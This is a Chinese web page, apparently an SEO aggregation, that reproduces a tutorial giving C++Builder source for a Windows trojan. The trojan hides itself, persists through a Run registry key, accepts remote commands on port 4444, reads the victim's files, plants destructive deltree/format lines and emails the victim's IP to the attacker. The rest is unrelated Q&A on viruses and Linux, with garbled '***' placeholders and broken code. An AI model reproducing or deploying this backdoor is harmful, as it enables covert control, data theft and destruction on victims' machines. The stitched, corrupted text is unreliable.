黑客用编译器吗(黑客会编程语言吗)

hacker3年前黑客资讯112

本文目录一览:

什么是黑客?什么是电脑病毒?是怎么作的?

什么是计算机病毒

计算机病毒是一个程序,一段可执行码。就像生物病毒一样,计算机病毒有独特的复制能力。计算机病毒可以很快地蔓

延,又常常难以根除。它们能把自身附着在各种类型的文件上。当文件被复制或从一个用户传送到另一个用户时,它们就随

同文件一起蔓延开来。

除复制能力外,某些计算机病毒还有其它一些共同特性:一个被污染的程序能够传送病毒载体。当你看到病毒载体似乎

仅仅表现在文字和图象上时,它们可能也已毁坏了文件、再格式化了你的硬盘驱动或引发了其它类型的灾害。若是病毒并不

寄生于一个污染程序,它仍然能通过占据存贮空间给你带来麻烦,并降低你的计算机的全部性能。

可以从不同角度给出计算机病毒的定义。一种定义是通过磁盘、磁带和 *** 等作为媒介传播扩散,能“传染” 其他程序

的程序。另一种是能够实现自身复制且借助一定的载体存在的具有潜伏性、传染性和破坏性的程序。还有的定义是一种人为

制造的程序,它通过不同的途径潜伏或寄生在存储媒体(如磁盘、内存)或程序里。当某种条件或时机成熟时,它会自生复制

并传播,使计算机的资源受到不同程序的破坏等等。这些说法在某种意义上借用了生物学病毒的概念,计算机病毒同生物病毒

所相似之处是能够侵入计算机系统和 *** ,危害正常工作的“病原体”。它能够对计算机系统进行各种破坏,同时能够自我复

制, 具有传染性。

所以, 计算机病毒就是能够通过某种途径潜伏在计算机存储介质(或程序)里, 当达到某种条件时即被激活的具有对计

算机资源进行破坏作用的一组程序或指令 *** 。

参考:

木马是如何编写的(一)

武汉 周侃

特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos??Windows时代中长大的中国网民从五彩缤纷的 *** 之梦中惊醒,终于认识到的 *** 也有它邪恶的一面,一时间人心惶惶。

我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要 *** 是诱骗??先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对 *** 可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了 *** 事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的 *** 安全方面可以说是一个划时代的软件。

自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成??服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的 *** 协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。

首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗?

启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NM *** TP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和 *** TP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。

Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。

我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。

首先判断目标机的操作系统是Win9x还是WinNt:

{

DWORD dwVersion = GetVersion();

// 得到操作系统的版本号

if (dwVersion = 0x80000000)

// 操作系统是Win9x,不是WinNt

{

typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);

file://定义RegisterServiceProcess()函数的原型

HINSTANCE hDLL;

LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;

hDLL = LoadLibrary("KERNEL32");

file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL

lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");

file://得到RegisterServiceProcess()函数的地址

lpRegisterServiceProcess(GetCurrentProcessId(),1);

file://执行RegisterServiceProcess()函数,隐藏本进程

FreeLibrary(hDLL);

file://卸载动态链接库

}

}

这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的 *** ,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:

{

char TempPath[MAX_PATH];

file://定义一个变量

GetSystemDirectory(TempPath ,MAX_PATH);

是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径

SystemPath=AnsiString(TempPath);

file://格式化TempPath字符串,使之成为能供编译器使用的样式

CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);

file://将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来

Registry=new TRegistry;

file://定义一个TRegistry对象,准备修改注册表,这一步必不可少

Registry-RootKey=HKEY_LOCAL_MACHINE;

file://设置主键为HKEY_LOCAL_MACHINE

Registry-OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);

file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之

try

{

file://如果以下语句发生异常,跳至catch,以避免程序崩溃

if(Registry-ReadString("cros *** ow")!=SystemPath+"\\Tapi32.exe")

Registry-WriteString("cros *** ow",SystemPath+"\\Tapi32.exe");

file://查找是否有“cros *** ow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe

file://如果不是,就写入以上键值和内容

}

catch(...)

{

file://如果有错误,什么也不做

}

}

好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。

接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本 *** 协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNM *** TP的25号端口也是 *** TP协议的专用端口。

再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:

{

FILE *fp=NULL;

char * content;

int times_of_try;

char TempFile[MAX_PATH];

file://定义了一堆待会儿要用到的变量

sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());

file://在%System%下建立一个文本文件Win369.bat,作为临时文件使用

AnsiString temp=Socket-ReceiveText();

file://接收客户端(攻击者,也就是你自己)传来的数据

}

好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:

{

if(temp.SubString(0,9)=="edit conf")

file://如果接受到的字符串的前9个字符是“edit conf”

{

int number=temp.Length();

file://得到字符串的长度

int file_name=atoi((temp.SubString(11,1)).c_str());

file://将第11个字符转换成integer型,存入file_name变量

file://为什么要取第11个字符,因为第10个字符是空格字符

content=(temp.SubString(12,number-11)+'\n').c_str();

file://余下的字符串将被作为写入的内容写入目标文件

FILE *fp=NULL;

char filename[20];

chmod("c:\\autoexec.bat",S_IREADS_IWRITE);

chmod("c:\\config.sys",S_IREADS_IWRITE);

file://将两个目标文件的属性改为可读可写

if(file_name==1)

sprintf(filename,"%s","c:\\autoexec.bat");

file://如果第11个字符是1,就把Autoexec.bat格式化

else if(file_name==2)

sprintf(filename,"%s","c:\\config.sys");

file://如果第11个字符是1,就把Config.sys格式化

times_of_try=0;

file://定义计数器

while(fp==NULL)

{

file://如果指针是空

fp=fopen(filename,"a+");

file://如果文件不存在,创建之;如果存在,准备在其后添加

file://如果出错,文件指针为空,这样就会重复

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://跳至END处

}

}

fwrite(content,sizeof(char),strlen(content),fp);

file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!

fclose(fp);

file://写完后关闭目标文件

Socket-SendText("Sucess");

file://然后发回“Success”的成功信息

}

}

上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:

{

else if(temp.SubString(0,3)=="dir")

{

file://如果前3个字符是“dir”

int Read_Num;

char * CR_LF="\n";

int attrib;

char *filename;

DIR *dir;

struct dirent *ent;

int number=temp.Length();

file://得到字符串的长度

AnsiString Dir_Name=temp.SubString(5,number-3);

file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名

if(Dir_Name=="")

{

file://如果目录名为空

Socket-SendText("Fail By Open DIR's Name");

file://返回“Fail By Open DIR's Name”信息

goto END;

file://跳到END

}

char * dirname;

dirname=Dir_Name.c_str();

if ((dir = opendir(dirname)) == NULL)

{

file://如果打开目录出错

Socket-SendText("Fail by your DIR's name!");

file://返回“Fail By Your DIR's Name”信息

goto END;

file://跳到END

}

times_of_try=0;

while(fp==NULL)

{

file://如果指针是NULL

fp=fopen(TempFile,"w+");

file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功(真有耐心!)

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

while ((ent = readdir(dir)) != NULL)

{

file://如果访问目标目录成功

if(*(AnsiString(dirname)).AnsiLastChar()!='\\')

file://如果最后一个字符不是“\”,证明不是根目录

filename=(AnsiString(dirname)+"\\"+ent-d_name).c_str();

file://加上“\”字符后将指针指向目录流

else

filename=(AnsiString(dirname)+ent-d_name).c_str();

file://如果是根目录,则不用加“\”

attrib=_rtl_chmod(filename, 0);

file://得到目标文件的访问属性

if (attrib FA_RDON *** )

file://“”字符是比较前后两个变量,如果相同返回1,否则返回0

fwrite(" R",sizeof(char),3,fp);

file://将目标文件属性设为只读

else

fwrite(" ",sizeof(char),3,fp);

file://失败则写入空格

if (attrib FA_HIDDEN)

fwrite("H",sizeof(char),1,fp);

file://将目标文件属性设为隐藏

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_SYSTEM)

fwrite("S",sizeof(char),1,fp);

file://将目标文件属性设为系统

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_ARCH)

fwrite("A",sizeof(char),1,fp);

file://将目标文件属性设为普通

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_DIREC)

fwrite(" DIR ",sizeof(char),9,fp);

file://将目标文件属性设为目录

else

fwrite(" ",sizeof(char),9,fp);

file://失败则写入空格

fwrite(ent-d_name,sizeof(char),strlen(ent-d_name),fp);

file://将目录名写入目标文件

fwrite(CR_LF,1,1,fp);

file://写入换行

}

fclose(fp);

file://关闭文件

closedir(dir);

file://关闭目录

FILE *fp1=NULL;

times_of_try=0;

while(fp1==NULL)

{

fp1=fopen(TempFile,"r");

file://打开Win369.bat准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i300;i++) temp_content[i]='\0';

file://定义的一个空数组

Read_Num=fread(temp_content,1,300,fp1);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

变量加上刚才的300个字符

for(int i=0;i300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp1);

file://重复

};

Return_Text=Return_Text+temp_content;

变量加上刚才的300个字符

fclose(fp1);

file://关闭目标文件

Socket-SendText(Return_Text);

file://返回Return_Text变量的内容

}

}

够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):

{

else if(temp.SubString(0,4)=="type")

{

file://如果前4个字符是“type”

int Read_Num;

int number=temp.Length();

AnsiString File_Name=temp.SubString(6,number-4);

file://将目标文件流存入File_Name变量中

times_of_try=0;

while(fp==NULL)

{

fp=fopen(File_Name.c_str(),"r");

file://打开目标文件准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已试了100次了

Socket-SendText("Fail By Open File");

file://返回“Fail By Open File”的错误信息

goto END;

file://跳到END

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i300;i++) temp_content[i]='\0';

file://定义一个空数组

Read_Num=fread(temp_content,1,300,fp);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

的内容加上刚才的字符

for(int i=0;i300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp);

file://重复

};

Return_Text=Return_Text+temp_content;

的内容加上刚才的字符

fclose(fp);

file://关闭目标文件

Socket-SendText(Return_Text);

file://返回Return_Text的内容,即你查看文件的内容

}

}

咳咳!累死了!还是来点轻松的吧??操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):

{

else if(temp=="open")

{

file://如果收到的temp的内容是“open”

mciSendString("set cdaudio door open", NULL, 0, NULL);

file://就弹出光驱的托盘

}

else if(temp=="close")

{

file://如果收到的temp的内容是“close”

mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);

file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^

}

}

接着就是交换目标机的鼠标左右键,代码如下:

{

else if(temp=="swap")

{

SwapMouseButton(1);

file://交换鼠标左右键,简单吧?

}

}

然后就是使目标机重新启动。但这里要区分WinNt和Win9x??NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:

{

else if(temp=="reboot")

{

file://如果收到的temp的内容是“temp”

DWORD dwVersion = GetVersion();

file://得到操作系统的版本号

if (dwVersion 0x80000000)

{

file://操作系统是WinNt,不是Win9x

HANDLE hToken;

TOKEN_PRIVILEGES tkp;

file://定义变量

OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, hToken);

这个函数的作用是打开一个进程的访问令牌

函数的作用是得到本进程的句柄

LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,tkp.Privileges[0].Luid);

的作用是修改进程的权限

tkp.PrivilegeCount = 1;

file://赋给本进程特权

tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE, tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);

的作用是通知Windows NT修改本进程的权利

ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);

file://强行退出WinNt并重启

}

else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);

file://强行退出Win9x并重启

}

}

如果以上都不是,就让它在Dos窗口中执行传来的命令:

{

else

{

file://如果都不是

char * CR_TF="\n";

times_of_try=0;

while(fp==NULL)

{

fp=fopen(TempFile,"w+");

file://创建Win369.bat,如果已存在就覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

Socket-SendText("Fail By Open File");

file://返回“Fail By Open File”的信息

goto END;

file://跳到END

}

}

fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);

file://写入欲执行的命令

fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);

file://写入换行符

fclose(fp);

file://关闭Win369.bat

system(TempFile);

file://执行Win369.bat

Socket-SendText("Success");

file://返回“Success”信息

}

}

你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的 *** 状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^

到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)

木马是如何编写的(三)

武汉 周侃

上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):

{

END:;

Socket-Close();

file://关闭服务

ServerSocket1-Active =true;

file://再次打开服务

if (NM *** TP1-Connected) NM *** TP1-Disconnect();

file://如果 *** TP服务器已连接则断开

NM *** TP1-Host = " *** tp.163.net";

file://选一个好用的 *** TP服务器,如163、263、sina和btamail

NM *** TP1-UserID = "";

file://你 *** TP的ID

try

{

NM *** TP1-Connect();

file://再次连接

}

catch(...)

{

goto NextTime;

file://跳到NextTime

}

NM *** TP1-PostMessage-FromAddress ="I don't know!";

file://受害者的Email地址

NM *** TP1-PostMessage-FromName = "Casualty";

file://受害者的名字

NM *** TP1-PostMessage-ToAddress-Text = "cros *** ow@8848.net";

file://将信发到我的邮箱,这一步很关键

NM *** TP1-PostMessage-Body-Text = AnsiString("Server Running on:") + NM *** TP1-LocalIP ;

file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接

NM *** TP1-PostMessage-Subject = "Server Runn

黑客是不是用编译器编写程序?如果不是,那是什么?

如果是编写恶意代码的话,我可以说两句:

1、不能排除直接用机器语言编写的情况,但一般不会的;

2、不论哪种编译器都只是工具,用常用的编译环境同样可以完成恶意代码的;通过某种语言在特定的环境下实现一种特定的行为,通过编译器使这种行为被硬件环境所识别运行;

3、当然编译器有好坏,适应的环境不同,可选择的余地比较多,不排除某些人自己编写适合自己的有特定处理方式的编译器;

windows,linux,unix系统有什么区别?为什么说黑客偏爱linux?

2003年6月,一些计算机黑客举行了一次“篡改者挑战赛”,目标是在6小时内篡改6000个网站的页面。根据所攻破的操作系统的不同为参与者计分。采用Windows系统的网站计1分,UNIX或Linux,3分。也就是说,他们认为UNIX和linux比较难以攻破。

一、 理解误区:

误区一:linux比windows更容易被攻击

有人任务Linux的代码完全开放,也就是说,何人都能得到UNIX和Linux中的“透明代码”——包括黑客、心怀不满的员工和竞争对手——而Windows的代码是收到严格保护的知识产权,那么UNIX和Linux就应该比Windows更容易受到攻击了,对吧?

“不对,”Justin Steinman,Novell北美区经理说,“和Windows所谓‘以隐匿求安全’相比,Linux的‘以透明求安全’更为安全。因为整个Linux团体都在完善和关注其代码。一旦有人发现安全漏洞,人们就会对它进行修补,并把补丁程序发布给整个团队。”

Steinman把这种响应速度和微软的“补丁星期二”做了对比。微软每个月的的第二个星期二发布Windows操作系统和其他应用软件的补丁程序。“如果你在第二个星期三发现了漏洞呢?你得等上30天才能得到补丁程序。”他说。

误区二:大多数Windows能干的事Linux干不了

像我们日常用的一些 *** ,暴风影音,Word在Linux上都能使用,相对一些更加专业话的软件Linux更是一个先驱者,比如 Matlab, Mathematica, AutoCAD, Candence的,Synopsys的,Avant!的......全都是先有 UNIX的版本(包括Linux),然后再考虑移植给Windows,甚至根本不移植给 Windows,因为 Windows的机器一般没有足够的能力运行这样的程序。

误区三:IDE

有些人在抱怨为什么 Linux没有一个良好的 IDE开发环境。Linux现在已经有一些 IDE了,但是总是有很多问题。你是不是正在寻找,正在期望 Linux某一天可以有一个VC那样的开发环境?你有没有发现你正在进入微软给你设下的怪圈?你为什么一定要用 IDE?你说:"IDE开发迅速,调试方便,适合大型程序......"那说明微软的程序在我们的脑子里已经比较根深蒂固,真的是时候需要好好清醒一下了。

看看大型的 UNIX程序,包括 Linux内核,各种 *** 服务程序,Xwindow程序在内,哪一个是 IDE搞出来的?还有Candence, Synopsys,Mentor的高性能的图形界面 EDA程序也都不是 IDE写的。微软的人在写 Windows本身的时候也根本不用 IDE!

有的时候,我们甚至将"编辑器"和"编译器"都搞混淆了!一个窗口里输入了代码,点击一个按钮就可以编译程序,但是这里面到底是怎么工作的,不知道!我们被盖在上面的窗口挡住了视线,甚至会以为那个按钮就是编译器!一个 IDE 集成了编辑器,编译器,汇编器,调试器,跟踪器......这个编辑器功能肯定比不上 VIM或 Emacs,编译器比不上 GCC,汇编器比不上 as,调试器比不上 gdb, ddd,跟踪器比不上 strace, ltrace, truss。最后我们得到的是一套整合的很好的低能的程序。

而在 UNIX下就不一样了。你可以用你最喜欢的 VIM编辑程序,你在 VIM里可以调用 GNU make,make可以调用 gcc, ld, ...实际上 make能帮你很多忙。make的出错信息可以被 VIM捕获,VIM能帮你在源程序里定位。你如果喜欢 icc,你可以让 make用 icc而不是 gcc。你如果觉得 gdb跟踪变量时比较麻烦,你可以用 ddd来显示各种数据结构之间的关系。你还可以在 Emacs里调用 gdb,那样就可以同步显示源代码了。而且 VIM和 Emacs还可以编辑很多其它东西,比如信件,LaTeX文档,HTML,配置文件......你不用另外找一个什么编辑器来干这些杂活了。很多程序比如 Mutt, tin都可以在内部使用 VIM,这样就更方便了。

二、安全性方面

1权限方面:

Quandt指出,Linux和UNIX在架构中采用了“最少特权”概念。她把提供某些门的专用钥匙与提供能打开所有房门的万能钥匙做了比较。在Linux 2.6中,安全架构比以前的版本有了很大改善,支持最少特权,具有以角色为基础的接近权控制,用户只进入他们需要使用的那部分系统即可。

2 用户结构方面:

多用户设计假定用户较多,但坦白讲,对他们信任较少。简单来说,Windows把用户程序和操作系统的核心集成到一起,而Linux和UNIX则把核心区域与用户区域区分开来。

“这是固有的安全。” Sun公司Solaris Security经理Mark Thacker说,“UNIX从最开始就是多用户系统,不是逐渐演变为服务器操作系统的台式机系统。UNIX一直都是把用户领域和核心领域分开的,这是任何源于DOS的操作系统所不具备的。”

3运行状况方面:

可以裸奔(无需杀毒软件,反广告/间谍防护软件),甚至可以数月不用重启机器,因为它具有独特的内存管理方式。(大家可以想一下如果windows下裸奔会是怎样的后果;windows如果很长一段时间不关机或是重启,那么它运行肯定不会有刚开机时那么流畅),所以说安全上Linux与windows比较没意思。

二、 技术特点分析

这一方面就更加没有意思了,甚至可以夸张的一点描述UNIX/Linux可以将Windows秒出十万八千里。

1 内存机制方面

Linux有比 Windows先进的磁盘缓冲技术。你有没有发现你往硬盘写数据的时候,很快就完成了?那是因为 Linux在内存里有很多磁盘缓冲区,你要写到硬盘上的数据先被写到了这些内存里。在一定的间隔时间后,Linux才把数据写回硬盘,这样不但高效,避免了多次硬盘操作,而且减少了文件的不连续,也就是减少了"碎片"。Windows当然也有磁盘缓冲,但是由于它内存管理的低效率,它不敢把大量内存都用来作为磁盘缓冲,因为它没有能力在用的时候随时把内存收回来。

2与硬件结合性

由于开放源代码的特点LINUX得到AMD和INTEL公司的关注。因为这两家公司都希望在64位芯片时代能够和开放源代码的操作系统系统紧密联系LINUX的发展速度急快,从它的内核就可以看出。LINUX比其他操作系统更能适应芯片技术发展。

3并行化多任务处理

Linux系统调度每一个进程平等地访问微处理器。由于CPU的处理速度非常快,其结果是,启动的应用程序看起来好像在并行运行。事实上,从处理器执行一个应用程序中的一组指令到Linux调度微处理器再次运行这个程序之间只有很短的时间延迟,用户是感觉不出来的。

经过对最重量级的数据库Oracle 9i测试,在LINUX下的运行速度比在WIN2003 SERVER要快25%。这一篇,LINUX占了上风。每次oracle发布新版数据库的时候,都是会更先发布Linux版本的,而Windows版本的至少要半年以后才发布,深入理解后认为从底层来说俩个版本简直就是2种软件,虽然提供相同的功能。

4 *** 信息化

Linux的组网能力非常强大,它的TCP/IP代码是更高级的。Linux提供了对于当前的TCP/IP协议的完全支持,并且包括了对下一代Internet。协议Ipv6的支持。Linux内核还包括了IP防火墙代码、IP防伪、IP服务质量控制及许多安全特性。这些特性可以和像Cisco这样的公司提供的高端路由设备的特性相媲美。此外,利用Redhat Linux 提供的Samba 组(并不是RedHat Linux独有),Linux 可以作为Windows 客户机的打印和文件服务器,还可以用做NT的文件和打印服务器。运用Linux包含的AppleTalk模块,Linux甚至可以作为一个Macintosh客户机的文件和打印服务器。

三市场方面

1开源性方面:

杨元庆:“Windows不开源严重制约了IT产业发展”,开放源代码是大势所趋,Linux前途广阔。互联网免费的今天,开源性的事物将势必会有更强的生存能力。

2 PC市场方向

全球PC市场出现了历史上最严重的滑坡趋势下,虽然在Window8的强烈攻势下,消费者显得无动于衷,依然转向了智能手机和平板电脑。在如今Android和iOS占据大半江山的背景下,windowsphone的前景愈发暗淡。显然微软在移动终端高速发展的今天,windows操作系统存在天然的弱势。

3 费用问题

很多Linux版本是不需要花钱的,恰恰相反,Windows每个版本的安装都是需要另付费用的。

黑客是怎么入侵电脑的?

使用肉鸡入侵的 一般高手要会C++才能成为高手 木马使用C++制造的 你要学会C++就可以了 要两三年

黑客应该怎样编程(PS:写程序跟写作文为什么

有关于软件工程问题是一只困扰着我的苍蝇,每当我试图打死一只就会冒出来更多, *** 上以及身边的人给了我很多指导,但是并没有对我起到实质性的帮助,直到现在我才明白,项目控制与软件工程只适用于程序员,但并不适用于黑客们。

黑客们打算用心写的程序大多是自己都认为比较难以实现的巧妙玩意,这些带有研发性质的工作是无法使用软件工程中的思想对其进行有效控制的,因为这些工作往往只是在最初有一个比较宽泛的目标,恐怕就连作者本人都不确定自己的作品完成后究竟是什么样的,这个过程就像是画家作画的过程一样。微软在开发NT内核时就是一个典型的例子,原本计划最多18个月即可完成的项目,在大卫.卡特勒这位伟大的项目管理者的带领下却花了超过60个月的时间。幸好比尔.盖茨这位商业奇才帮助微软渡过了这危险的5年时间,从而才诞生了经典的Windows XP乃至于现在Windows 7。

用Paul Graham先生的话说“我写代码时会先按照自己的思路来写,不管有没有错误,在写完一个基本的框架后在开始调试,这就像绘画时的‘打草稿’,我不想正襟危坐,把一个盛满各种变量类型的茶杯小心翼翼的放在腿上,并且为了一丝不苟的与编译器大婶交谈而努力的挑选词语,确保变量类型准确,以使得自己显得礼貌又周到”。

相关文章

如何找回我老公开房信息

即使再过去很多年,当我们畅谈长三角城市发展历史,相信2020年的这个秋天依旧会是苏州乃至长三角发展历程中浓墨重彩的一笔。在苏州,在太湖科学城,一场声势浩大的论坛,各界智囊各抒己见,真知灼见不止影响当下...

懒才是省钱秘籍 生活中怎么省钱

由于肺炎疫情的危害很多人二月沒有外出,却发觉“懒才算是省钱秘籍”的真知,由于不用出门逛街购物,购物,也没什么掏钱的想法,实际上日常生活有很多划算的方式,日常生活怎么省钱?下边产生详细介绍。 懒才算是...

饿了么投诉骑手态度不好是怎么处罚的(处理结果真是不可思议)

饿了么投诉骑手态度不好是怎么处罚的(处理结果真是不可思议)

现如今大伙儿的日常日常生活都离不了外卖送餐,美团外卖和饿了么外卖等外卖app愈来愈变成日常生活不可或缺的一部分。那麼消费者的点评针对一个服务平台而言是十分关键的,五星好评就会有奖赏,那麼恶意差评会...

找一个黑客修改清单,黑客可以从微信查到身份吗,黑客猜奇偶

· caf418cbf6a9c4e93e79d4714d5d3b87 cd ..僵尸网络一般能够代指许多东西,但咱们一般指的是那些由路由器和物联网设备所组成的“botnet”,而网络违法分子能够运用这...

CVE-2018-4277:一 丿引发的欺骗

研究人员在寻找浏览器前端安全问题时发现Chrome, Safari, Firefox等浏览器中都存在安全漏洞。本文介绍苹果产品字母d字形问题造成的域名欺骗问题。U+A771研究人员发现苹果产品中的拉丁...

Win全部组合键,win10组合键

有时在按“Ctrl”或“Alt”组合键的时候会误触开始菜单键,导致出现“win”组合键的操作,实际上“win”组合键可以自由禁用的。 1.首先打开“开始菜单”,输入“注册表编辑器”并按回车键,打开注...